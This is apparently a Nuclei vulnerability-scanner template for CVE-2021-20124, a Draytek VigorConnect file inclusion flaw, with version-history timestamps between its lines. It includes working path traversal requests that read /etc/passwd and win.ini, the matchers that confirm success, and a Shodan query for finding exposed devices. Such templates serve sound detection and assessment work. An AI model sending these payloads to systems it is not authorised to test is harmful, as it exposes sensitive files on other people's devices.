2022-05-13 09:07:02 +00:00
id : CVE-2021-20124
info :
name : Draytek VigorConnect - Unauthenticated Local File Inclusion WebServlet
author : 0x_Akoko
severity : high
description : A local file inclusion vulnerability exists in Draytek VigorConnect 1.6.0-B3 in the file download functionality of the WebServlet endpoint. An unauthenticated attacker could leverage this vulnerability to download arbitrary files from the underlying operating system with root privileges.
reference :
- https://www.tenable.com/security/research/tra-2021-42
2022-05-13 10:05:36 +00:00
- https://www.draytek.com/products/vigorconnect/
2022-05-13 09:07:02 +00:00
- https://www.cvedetails.com/cve/CVE-2021-20124
classification :
2022-05-17 09:18:12 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
2022-05-13 09:07:02 +00:00
cvss-score : 7.5
cve-id : CVE-2021-20124
2022-05-17 09:18:12 +00:00
cwe-id : CWE-668
2022-05-13 10:05:36 +00:00
metadata :
shodan-query : http.html:"VigorConnect"
2022-05-17 09:18:12 +00:00
verified : true
2022-05-13 10:05:36 +00:00
tags : cve,cve2021,draytek,lfi,vigorconnect
2022-05-13 09:07:02 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../etc/passwd"
- "{{BaseURL}}/ACSServer/WebServlet?act=getMapImg_acs2&filename=../../../../../../../windows/win.ini"
2022-05-13 10:05:36 +00:00
stop-at-first-match : true
2022-05-13 09:07:02 +00:00
matchers-condition : and
matchers :
- type : regex
regex :
- "root:.*:0:0:"
- "for 16-bit app support"
condition : or
2022-05-13 10:05:36 +00:00
- type : word
part : header
words :
- "application/octet-stream"
2022-05-13 09:07:02 +00:00
- type : status
status :
- 200